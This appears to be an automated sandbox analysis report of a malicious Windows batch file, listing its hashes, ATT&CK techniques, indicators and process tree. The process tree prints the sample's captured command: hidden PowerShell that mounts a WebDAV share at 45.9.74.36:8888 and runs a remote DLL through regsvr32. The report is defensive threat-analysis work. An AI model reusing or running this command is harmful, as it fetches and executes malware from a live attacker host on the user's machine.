0c50573bce7afa30dbbb4bc4a7af363d35b915780b0771729ff19b92d695d5f9

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 14:00

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General

Target

24649200352152318648.bat
Size

13KB
MD5

b361e88381281c2cbc61ab9cbf332e3a
SHA1

7822c8ec1414be3c28b7f9141569919483c33dd9
SHA256

0c50573bce7afa30dbbb4bc4a7af363d35b915780b0771729ff19b92d695d5f9
SHA512

6a1d37fdb71d521c87420d249dcadb0fca6fbe231d03a138b970f20604d41449acac7593f5e8fcbdaee6ca63f6aa1065ac83b4059c9ae3e38400b7e531617a36
SSDEEP

384:lqUcR4DBiitJgVKWBaH+tOcUFTQf/PU7hap7OK5gmwNmwE:IRR8BiitJgVpBaetOcl+hap7OK5git

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1252	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1252	powershell.exe
1252	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1252	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4692	wordpad.exe
4692	wordpad.exe
4692	wordpad.exe
4692	wordpad.exe
4692	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4108 wrote to memory of 4692	4108	cmd.exe	85
PID 4108 wrote to memory of 4692	4108	cmd.exe	85
PID 4108 wrote to memory of 1252	4108	cmd.exe	87
PID 4108 wrote to memory of 1252	4108	cmd.exe	87
PID 1252 wrote to memory of 2588	1252	powershell.exe	89
PID 1252 wrote to memory of 2588	1252	powershell.exe	89
PID 1252 wrote to memory of 2236	1252	powershell.exe	90
PID 1252 wrote to memory of 2236	1252	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\24649200352152318648.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4108
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\55232969817907.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1252
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2588
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\55232969817907.dll
    3⤵
    PID:2236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mfhzbdmh.22t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1252-0-0x000001EF78290000-0x000001EF782B2000-memory.dmp

Filesize
136KB

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